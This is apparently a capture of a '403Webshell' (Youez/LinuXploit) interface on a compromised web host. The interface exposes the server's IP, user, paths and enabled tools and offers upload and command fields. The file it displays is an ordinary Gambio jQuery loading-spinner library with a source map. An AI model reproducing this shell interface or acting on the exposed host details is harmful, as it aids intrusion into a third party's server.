403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/JSEngine/build/libs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/JSEngine/build/libs/loading_spinner.js
'use strict';

var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };

/* --------------------------------------------------------------
 loading_spinner.js 2016-06-15
 Gambio GmbH
 http://www.gambio.de
 Copyright (c) 2016 Gambio GmbH
 Released under the GNU General Public License (Version 2)
 [http://www.gnu.org/licenses/gpl-2.0.html]
 --------------------------------------------------------------
 */

jse.libs.loading_spinner = jse.libs.loading_spinner || {};

/**
 * ## Loading Spinner Library
 *
 * This library provides an easy and simple way to display a loading spinner inside any container
 * element to provide a smooth "loading" experience to the UI. If no container is specified then
 * the whole page will be taken for the display. The loading spinner comes from the Font Awesome
 * "fa-spinner" class. You can load this library as a dependency to existing modules.
 *
 * The following usage example will show you how to display and hide the spinner inside an element.
 *
 * ```javascript
 * // Create a selector variable for the target element.
 * var $targetElement = $('#my-div');
 *
 * // The $targetElement will be overlayed by the spinner.
 * var $spinner = window.jse.libs.loading_spinner.show($targetElement);
 *
 * // Do some stuff ...
 *
 * // Hide the spinner when the job is done.
 * window.jse.loading_spinner.hide($spinner);
 * ```
 *
 * @module JSE/Libs/loading_spinner
 * @exports jse.libs.loading_spinner
 */
(function (exports) {

    'use strict';

    /**
     * Contains a list of the active spinners so that they can be validated
     * before they are destroyed.
     *
     * @type {Array}
     */

    var instances = [];

    /**
     * Show the loading spinner to the target element.
     *
     * @param {jQuery} $targetElement (optional) The target element will be overlayed by the spinner. If no
     * argument is provided then the spinner will overlay the whole page.
     * @param {String} zIndex Optional ('auto'), give a specific z-index value to the loading spinner.
     *
     * @return {jQuery} Returns the selector of the spinner div element. You can further manipulate the spinner
     * if required, but you have to provide this selector as a parameter to the "hide" method below.
     */
    exports.show = function ($targetElement) {
        var zIndex = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'auto';

        if ($targetElement !== undefined && (typeof $targetElement === 'undefined' ? 'undefined' : _typeof($targetElement)) !== 'object') {
            throw new Error('Invalid argument provided for the "show" method: ' + (typeof $targetElement === 'undefined' ? 'undefined' : _typeof($targetElement)));
        }

        if ($targetElement.length === 0) {
            return; // No element matches the provided selector. 
        }

        $targetElement = $targetElement || $('body'); // set default value

        var $spinner = $('<div class="loading-spinner"></div>');
        var fontSize = 80;

        $spinner.html('<i class="fa fa-spinner fa-spin"></i>').css({
            width: $targetElement.innerWidth() + 'px',
            height: $targetElement.innerHeight() + 'px',
            boxSizing: 'border-box',
            background: '#FFF',
            opacity: '0.8',
            position: 'absolute',
            top: $targetElement.offset().top,
            left: $targetElement.offset().left,
            fontSize: fontSize + 'px',
            color: '#002337', // primary color
            zIndex: zIndex
        }).appendTo('body');

        $spinner.find('i').css({
            position: 'absolute',
            left: $spinner.width() / 2 - fontSize / 2,
            top: $spinner.height() / 2 - fontSize / 2
        });

        instances.push($spinner);

        return $spinner;
    };

    /**
     * Hide an existing spinner.
     *
     * This method will hide and remove the loading spinner markup from the document entirely.
     *
     * @param {jQuery} $spinner Must be the selector provided from the "show" method. If the selector
     * is invalid or no elements were found then an exception will be thrown.
     *
     * @return {jQuery.Promise} Returns a promise object that will be resolved once the spinner is removed.
     *
     * @throws Error If the $spinner selector was not found in the spinner instances.
     */
    exports.hide = function ($spinner) {
        var index = instances.indexOf($spinner);
        var deferred = $.Deferred();

        if (index === -1) {
            throw new Error('The provided spinner instance does not exist.');
        }

        instances.splice(index, 1);

        $spinner.fadeOut(400, function () {
            $spinner.remove();
            deferred.resolve();
        });

        return deferred.promise();
    };
})(jse.libs.loading_spinner);
//# sourceMappingURL=data:application/json;charset=utf8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImxvYWRpbmdfc3Bpbm5lci5qcyJdLCJuYW1lcyI6WyJqc2UiLCJsaWJzIiwibG9hZGluZ19zcGlubmVyIiwiZXhwb3J0cyIsImluc3RhbmNlcyIsInNob3ciLCIkdGFyZ2V0RWxlbWVudCIsInpJbmRleCIsInVuZGVmaW5lZCIsIkVycm9yIiwibGVuZ3RoIiwiJCIsIiRzcGlubmVyIiwiZm9udFNpemUiLCJodG1sIiwiY3NzIiwid2lkdGgiLCJpbm5lcldpZHRoIiwiaGVpZ2h0IiwiaW5uZXJIZWlnaHQiLCJib3hTaXppbmciLCJiYWNrZ3JvdW5kIiwib3BhY2l0eSIsInBvc2l0aW9uIiwidG9wIiwib2Zmc2V0IiwibGVmdCIsImNvbG9yIiwiYXBwZW5kVG8iLCJmaW5kIiwicHVzaCIsImhpZGUiLCJpbmRleCIsImluZGV4T2YiLCJkZWZlcnJlZCIsIkRlZmVycmVkIiwic3BsaWNlIiwiZmFkZU91dCIsInJlbW92ZSIsInJlc29sdmUiLCJwcm9taXNlIl0sIm1hcHBpbmdzIjoiOzs7O0FBQUE7Ozs7Ozs7Ozs7QUFVQUEsSUFBSUMsSUFBSixDQUFTQyxlQUFULEdBQTJCRixJQUFJQyxJQUFKLENBQVNDLGVBQVQsSUFBNEIsRUFBdkQ7O0FBRUE7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O0FBMEJBLENBQUMsVUFBVUMsT0FBVixFQUFtQjs7QUFFaEI7O0FBRUE7Ozs7Ozs7QUFNQSxRQUFNQyxZQUFZLEVBQWxCOztBQUVBOzs7Ozs7Ozs7O0FBVUFELFlBQVFFLElBQVIsR0FBZSxVQUFVQyxjQUFWLEVBQTJDO0FBQUEsWUFBakJDLE1BQWlCLHVFQUFSLE1BQVE7O0FBQ3RELFlBQUlELG1CQUFtQkUsU0FBbkIsSUFBZ0MsUUFBT0YsY0FBUCx5Q0FBT0EsY0FBUCxPQUEwQixRQUE5RCxFQUF3RTtBQUNwRSxrQkFBTSxJQUFJRyxLQUFKLENBQVUsOERBQTZESCxjQUE3RCx5Q0FBNkRBLGNBQTdELEVBQVYsQ0FBTjtBQUNIOztBQUVELFlBQUlBLGVBQWVJLE1BQWYsS0FBMEIsQ0FBOUIsRUFBaUM7QUFDN0IsbUJBRDZCLENBQ3JCO0FBQ1g7O0FBRURKLHlCQUFpQkEsa0JBQWtCSyxFQUFFLE1BQUYsQ0FBbkMsQ0FUc0QsQ0FTUjs7QUFFOUMsWUFBTUMsV0FBV0QsRUFBRSxxQ0FBRixDQUFqQjtBQUNBLFlBQU1FLFdBQVcsRUFBakI7O0FBRUFELGlCQUNLRSxJQURMLENBQ1UsdUNBRFYsRUFFS0MsR0FGTCxDQUVTO0FBQ0RDLG1CQUFPVixlQUFlVyxVQUFmLEtBQThCLElBRHBDO0FBRURDLG9CQUFRWixlQUFlYSxXQUFmLEtBQStCLElBRnRDO0FBR0RDLHVCQUFXLFlBSFY7QUFJREMsd0JBQVksTUFKWDtBQUtEQyxxQkFBUyxLQUxSO0FBTURDLHNCQUFVLFVBTlQ7QUFPREMsaUJBQUtsQixlQUFlbUIsTUFBZixHQUF3QkQsR0FQNUI7QUFRREUsa0JBQU1wQixlQUFlbUIsTUFBZixHQUF3QkMsSUFSN0I7QUFTRGIsc0JBQVVBLFdBQVcsSUFUcEI7QUFVRGMsbUJBQU8sU0FWTixFQVVpQjtBQUNsQnBCLG9CQUFRQTtBQVhQLFNBRlQsRUFlS3FCLFFBZkwsQ0FlYyxNQWZkOztBQWlCQWhCLGlCQUFTaUIsSUFBVCxDQUFjLEdBQWQsRUFBbUJkLEdBQW5CLENBQXVCO0FBQ25CUSxzQkFBVSxVQURTO0FBRW5CRyxrQkFBTWQsU0FBU0ksS0FBVCxLQUFtQixDQUFuQixHQUF1QkgsV0FBVyxDQUZyQjtBQUduQlcsaUJBQUtaLFNBQVNNLE1BQVQsS0FBb0IsQ0FBcEIsR0FBd0JMLFdBQVc7QUFIckIsU0FBdkI7O0FBTUFULGtCQUFVMEIsSUFBVixDQUFlbEIsUUFBZjs7QUFFQSxlQUFPQSxRQUFQO0FBQ0gsS0F4Q0Q7O0FBMENBOzs7Ozs7Ozs7Ozs7QUFZQVQsWUFBUTRCLElBQVIsR0FBZSxVQUFVbkIsUUFBVixFQUFvQjtBQUMvQixZQUFNb0IsUUFBUTVCLFVBQVU2QixPQUFWLENBQWtCckIsUUFBbEIsQ0FBZDtBQUNBLFlBQU1zQixXQUFXdkIsRUFBRXdCLFFBQUYsRUFBakI7O0FBRUEsWUFBSUgsVUFBVSxDQUFDLENBQWYsRUFBa0I7QUFDZCxrQkFBTSxJQUFJdkIsS0FBSixDQUFVLCtDQUFWLENBQU47QUFDSDs7QUFFREwsa0JBQVVnQyxNQUFWLENBQWlCSixLQUFqQixFQUF3QixDQUF4Qjs7QUFFQXBCLGlCQUFTeUIsT0FBVCxDQUFpQixHQUFqQixFQUFzQixZQUFZO0FBQzlCekIscUJBQVMwQixNQUFUO0FBQ0FKLHFCQUFTSyxPQUFUO0FBQ0gsU0FIRDs7QUFLQSxlQUFPTCxTQUFTTSxPQUFULEVBQVA7QUFDSCxLQWhCRDtBQWtCSCxDQTlGRCxFQThGR3hDLElBQUlDLElBQUosQ0FBU0MsZUE5RloiLCJmaWxlIjoibG9hZGluZ19zcGlubmVyLmpzIiwic291cmNlc0NvbnRlbnQiOlsiLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cbiBsb2FkaW5nX3NwaW5uZXIuanMgMjAxNi0wNi0xNVxuIEdhbWJpbyBHbWJIXG4gaHR0cDovL3d3dy5nYW1iaW8uZGVcbiBDb3B5cmlnaHQgKGMpIDIwMTYgR2FtYmlvIEdtYkhcbiBSZWxlYXNlZCB1bmRlciB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgKFZlcnNpb24gMilcbiBbaHR0cDovL3d3dy5nbnUub3JnL2xpY2Vuc2VzL2dwbC0yLjAuaHRtbF1cbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuICovXG5cbmpzZS5saWJzLmxvYWRpbmdfc3Bpbm5lciA9IGpzZS5saWJzLmxvYWRpbmdfc3Bpbm5lciB8fCB7fTtcblxuLyoqXG4gKiAjIyBMb2FkaW5nIFNwaW5uZXIgTGlicmFyeVxuICpcbiAqIFRoaXMgbGlicmFyeSBwcm92aWRlcyBhbiBlYXN5IGFuZCBzaW1wbGUgd2F5IHRvIGRpc3BsYXkgYSBsb2FkaW5nIHNwaW5uZXIgaW5zaWRlIGFueSBjb250YWluZXJcbiAqIGVsZW1lbnQgdG8gcHJvdmlkZSBhIHNtb290aCBcImxvYWRpbmdcIiBleHBlcmllbmNlIHRvIHRoZSBVSS4gSWYgbm8gY29udGFpbmVyIGlzIHNwZWNpZmllZCB0aGVuXG4gKiB0aGUgd2hvbGUgcGFnZSB3aWxsIGJlIHRha2VuIGZvciB0aGUgZGlzcGxheS4gVGhlIGxvYWRpbmcgc3Bpbm5lciBjb21lcyBmcm9tIHRoZSBGb250IEF3ZXNvbWVcbiAqIFwiZmEtc3Bpbm5lclwiIGNsYXNzLiBZb3UgY2FuIGxvYWQgdGhpcyBsaWJyYXJ5IGFzIGEgZGVwZW5kZW5jeSB0byBleGlzdGluZyBtb2R1bGVzLlxuICpcbiAqIFRoZSBmb2xsb3dpbmcgdXNhZ2UgZXhhbXBsZSB3aWxsIHNob3cgeW91IGhvdyB0byBkaXNwbGF5IGFuZCBoaWRlIHRoZSBzcGlubmVyIGluc2lkZSBhbiBlbGVtZW50LlxuICpcbiAqIGBgYGphdmFzY3JpcHRcbiAqIC8vIENyZWF0ZSBhIHNlbGVjdG9yIHZhcmlhYmxlIGZvciB0aGUgdGFyZ2V0IGVsZW1lbnQuXG4gKiB2YXIgJHRhcmdldEVsZW1lbnQgPSAkKCcjbXktZGl2Jyk7XG4gKlxuICogLy8gVGhlICR0YXJnZXRFbGVtZW50IHdpbGwgYmUgb3ZlcmxheWVkIGJ5IHRoZSBzcGlubmVyLlxuICogdmFyICRzcGlubmVyID0gd2luZG93LmpzZS5saWJzLmxvYWRpbmdfc3Bpbm5lci5zaG93KCR0YXJnZXRFbGVtZW50KTtcbiAqXG4gKiAvLyBEbyBzb21lIHN0dWZmIC4uLlxuICpcbiAqIC8vIEhpZGUgdGhlIHNwaW5uZXIgd2hlbiB0aGUgam9iIGlzIGRvbmUuXG4gKiB3aW5kb3cuanNlLmxvYWRpbmdfc3Bpbm5lci5oaWRlKCRzcGlubmVyKTtcbiAqIGBgYFxuICpcbiAqIEBtb2R1bGUgSlNFL0xpYnMvbG9hZGluZ19zcGlubmVyXG4gKiBAZXhwb3J0cyBqc2UubGlicy5sb2FkaW5nX3NwaW5uZXJcbiAqL1xuKGZ1bmN0aW9uIChleHBvcnRzKSB7XG5cbiAgICAndXNlIHN0cmljdCc7XG5cbiAgICAvKipcbiAgICAgKiBDb250YWlucyBhIGxpc3Qgb2YgdGhlIGFjdGl2ZSBzcGlubmVycyBzbyB0aGF0IHRoZXkgY2FuIGJlIHZhbGlkYXRlZFxuICAgICAqIGJlZm9yZSB0aGV5IGFyZSBkZXN0cm95ZWQuXG4gICAgICpcbiAgICAgKiBAdHlwZSB7QXJyYXl9XG4gICAgICovXG4gICAgY29uc3QgaW5zdGFuY2VzID0gW107XG5cbiAgICAvKipcbiAgICAgKiBTaG93IHRoZSBsb2FkaW5nIHNwaW5uZXIgdG8gdGhlIHRhcmdldCBlbGVtZW50LlxuICAgICAqXG4gICAgICogQHBhcmFtIHtqUXVlcnl9ICR0YXJnZXRFbGVtZW50IChvcHRpb25hbCkgVGhlIHRhcmdldCBlbGVtZW50IHdpbGwgYmUgb3ZlcmxheWVkIGJ5IHRoZSBzcGlubmVyLiBJZiBub1xuICAgICAqIGFyZ3VtZW50IGlzIHByb3ZpZGVkIHRoZW4gdGhlIHNwaW5uZXIgd2lsbCBvdmVybGF5IHRoZSB3aG9sZSBwYWdlLlxuICAgICAqIEBwYXJhbSB7U3RyaW5nfSB6SW5kZXggT3B0aW9uYWwgKCdhdXRvJyksIGdpdmUgYSBzcGVjaWZpYyB6LWluZGV4IHZhbHVlIHRvIHRoZSBsb2FkaW5nIHNwaW5uZXIuXG4gICAgICpcbiAgICAgKiBAcmV0dXJuIHtqUXVlcnl9IFJldHVybnMgdGhlIHNlbGVjdG9yIG9mIHRoZSBzcGlubmVyIGRpdiBlbGVtZW50LiBZb3UgY2FuIGZ1cnRoZXIgbWFuaXB1bGF0ZSB0aGUgc3Bpbm5lclxuICAgICAqIGlmIHJlcXVpcmVkLCBidXQgeW91IGhhdmUgdG8gcHJvdmlkZSB0aGlzIHNlbGVjdG9yIGFzIGEgcGFyYW1ldGVyIHRvIHRoZSBcImhpZGVcIiBtZXRob2QgYmVsb3cuXG4gICAgICovXG4gICAgZXhwb3J0cy5zaG93ID0gZnVuY3Rpb24gKCR0YXJnZXRFbGVtZW50LCB6SW5kZXggPSAnYXV0bycpIHtcbiAgICAgICAgaWYgKCR0YXJnZXRFbGVtZW50ICE9PSB1bmRlZmluZWQgJiYgdHlwZW9mICR0YXJnZXRFbGVtZW50ICE9PSAnb2JqZWN0Jykge1xuICAgICAgICAgICAgdGhyb3cgbmV3IEVycm9yKCdJbnZhbGlkIGFyZ3VtZW50IHByb3ZpZGVkIGZvciB0aGUgXCJzaG93XCIgbWV0aG9kOiAnICsgdHlwZW9mICR0YXJnZXRFbGVtZW50KTtcbiAgICAgICAgfVxuXG4gICAgICAgIGlmICgkdGFyZ2V0RWxlbWVudC5sZW5ndGggPT09IDApIHtcbiAgICAgICAgICAgIHJldHVybjsgLy8gTm8gZWxlbWVudCBtYXRjaGVzIHRoZSBwcm92aWRlZCBzZWxlY3Rvci4gXG4gICAgICAgIH1cblxuICAgICAgICAkdGFyZ2V0RWxlbWVudCA9ICR0YXJnZXRFbGVtZW50IHx8ICQoJ2JvZHknKTsgLy8gc2V0IGRlZmF1bHQgdmFsdWVcblxuICAgICAgICBjb25zdCAkc3Bpbm5lciA9ICQoJzxkaXYgY2xhc3M9XCJsb2FkaW5nLXNwaW5uZXJcIj48L2Rpdj4nKTtcbiAgICAgICAgY29uc3QgZm9udFNpemUgPSA4MDtcblxuICAgICAgICAkc3Bpbm5lclxuICAgICAgICAgICAgLmh0bWwoJzxpIGNsYXNzPVwiZmEgZmEtc3Bpbm5lciBmYS1zcGluXCI+PC9pPicpXG4gICAgICAgICAgICAuY3NzKHtcbiAgICAgICAgICAgICAgICB3aWR0aDogJHRhcmdldEVsZW1lbnQuaW5uZXJXaWR0aCgpICsgJ3B4JyxcbiAgICAgICAgICAgICAgICBoZWlnaHQ6ICR0YXJnZXRFbGVtZW50LmlubmVySGVpZ2h0KCkgKyAncHgnLFxuICAgICAgICAgICAgICAgIGJveFNpemluZzogJ2JvcmRlci1ib3gnLFxuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICcjRkZGJyxcbiAgICAgICAgICAgICAgICBvcGFjaXR5OiAnMC44JyxcbiAgICAgICAgICAgICAgICBwb3NpdGlvbjogJ2Fic29sdXRlJyxcbiAgICAgICAgICAgICAgICB0b3A6ICR0YXJnZXRFbGVtZW50Lm9mZnNldCgpLnRvcCxcbiAgICAgICAgICAgICAgICBsZWZ0OiAkdGFyZ2V0RWxlbWVudC5vZmZzZXQoKS5sZWZ0LFxuICAgICAgICAgICAgICAgIGZvbnRTaXplOiBmb250U2l6ZSArICdweCcsXG4gICAgICAgICAgICAgICAgY29sb3I6ICcjMDAyMzM3JywgLy8gcHJpbWFyeSBjb2xvclxuICAgICAgICAgICAgICAgIHpJbmRleDogekluZGV4XG4gICAgICAgICAgICB9KVxuICAgICAgICAgICAgLmFwcGVuZFRvKCdib2R5Jyk7XG5cbiAgICAgICAgJHNwaW5uZXIuZmluZCgnaScpLmNzcyh7XG4gICAgICAgICAgICBwb3NpdGlvbjogJ2Fic29sdXRlJyxcbiAgICAgICAgICAgIGxlZnQ6ICRzcGlubmVyLndpZHRoKCkgLyAyIC0gZm9udFNpemUgLyAyLFxuICAgICAgICAgICAgdG9wOiAkc3Bpbm5lci5oZWlnaHQoKSAvIDIgLSBmb250U2l6ZSAvIDJcbiAgICAgICAgfSk7XG5cbiAgICAgICAgaW5zdGFuY2VzLnB1c2goJHNwaW5uZXIpO1xuXG4gICAgICAgIHJldHVybiAkc3Bpbm5lcjtcbiAgICB9O1xuXG4gICAgLyoqXG4gICAgICogSGlkZSBhbiBleGlzdGluZyBzcGlubmVyLlxuICAgICAqXG4gICAgICogVGhpcyBtZXRob2Qgd2lsbCBoaWRlIGFuZCByZW1vdmUgdGhlIGxvYWRpbmcgc3Bpbm5lciBtYXJrdXAgZnJvbSB0aGUgZG9jdW1lbnQgZW50aXJlbHkuXG4gICAgICpcbiAgICAgKiBAcGFyYW0ge2pRdWVyeX0gJHNwaW5uZXIgTXVzdCBiZSB0aGUgc2VsZWN0b3IgcHJvdmlkZWQgZnJvbSB0aGUgXCJzaG93XCIgbWV0aG9kLiBJZiB0aGUgc2VsZWN0b3JcbiAgICAgKiBpcyBpbnZhbGlkIG9yIG5vIGVsZW1lbnRzIHdlcmUgZm91bmQgdGhlbiBhbiBleGNlcHRpb24gd2lsbCBiZSB0aHJvd24uXG4gICAgICpcbiAgICAgKiBAcmV0dXJuIHtqUXVlcnkuUHJvbWlzZX0gUmV0dXJucyBhIHByb21pc2Ugb2JqZWN0IHRoYXQgd2lsbCBiZSByZXNvbHZlZCBvbmNlIHRoZSBzcGlubmVyIGlzIHJlbW92ZWQuXG4gICAgICpcbiAgICAgKiBAdGhyb3dzIEVycm9yIElmIHRoZSAkc3Bpbm5lciBzZWxlY3RvciB3YXMgbm90IGZvdW5kIGluIHRoZSBzcGlubmVyIGluc3RhbmNlcy5cbiAgICAgKi9cbiAgICBleHBvcnRzLmhpZGUgPSBmdW5jdGlvbiAoJHNwaW5uZXIpIHtcbiAgICAgICAgY29uc3QgaW5kZXggPSBpbnN0YW5jZXMuaW5kZXhPZigkc3Bpbm5lcik7XG4gICAgICAgIGNvbnN0IGRlZmVycmVkID0gJC5EZWZlcnJlZCgpO1xuXG4gICAgICAgIGlmIChpbmRleCA9PT0gLTEpIHtcbiAgICAgICAgICAgIHRocm93IG5ldyBFcnJvcignVGhlIHByb3ZpZGVkIHNwaW5uZXIgaW5zdGFuY2UgZG9lcyBub3QgZXhpc3QuJyk7XG4gICAgICAgIH1cblxuICAgICAgICBpbnN0YW5jZXMuc3BsaWNlKGluZGV4LCAxKTtcblxuICAgICAgICAkc3Bpbm5lci5mYWRlT3V0KDQwMCwgZnVuY3Rpb24gKCkge1xuICAgICAgICAgICAgJHNwaW5uZXIucmVtb3ZlKCk7XG4gICAgICAgICAgICBkZWZlcnJlZC5yZXNvbHZlKCk7XG4gICAgICAgIH0pO1xuXG4gICAgICAgIHJldHVybiBkZWZlcnJlZC5wcm9taXNlKCk7XG4gICAgfTtcblxufSkoanNlLmxpYnMubG9hZGluZ19zcGlubmVyKTtcbiJdfQ==

Youez - 2016 - github.com/yon3zu
LinuXploit